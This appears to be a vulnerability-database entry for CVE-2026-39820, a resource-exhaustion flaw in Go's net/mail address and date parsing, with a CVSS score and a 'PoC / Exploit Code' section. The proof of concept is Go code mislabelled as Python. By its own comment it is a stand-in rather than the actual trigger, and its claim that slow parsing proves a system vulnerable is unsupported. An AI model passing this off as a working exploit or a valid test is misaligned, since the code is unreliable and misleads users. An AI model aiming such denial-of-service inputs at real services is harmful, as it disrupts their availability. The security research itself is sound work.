Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Go 语言标准库 (具体受影响版本请参考官方链接 go.dev/cl/759940)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main
import (
"fmt"
"net/mail"
"time"
)
func main() {
// Simulate a malicious input that triggers excessive CPU/Memory usage
// Note: Actual malicious payload would be a specific complex string pattern
maliciousInput := "example@" + string(make([]byte, 10000)) + ".com" // Example of long input
fmt.Println("Starting PoC for CVE-2026-39820...")
start := time.Now()
// Trigger the vulnerable function
_, err := mail.ParseAddress(maliciousInput)
if err != nil {
fmt.Println("Error parsing address (expected):", err)
}
duration := time.Since(start)
fmt.Printf("Processing took: %v\n", duration)
fmt.Println("If duration is excessive, the system is vulnerable.")
}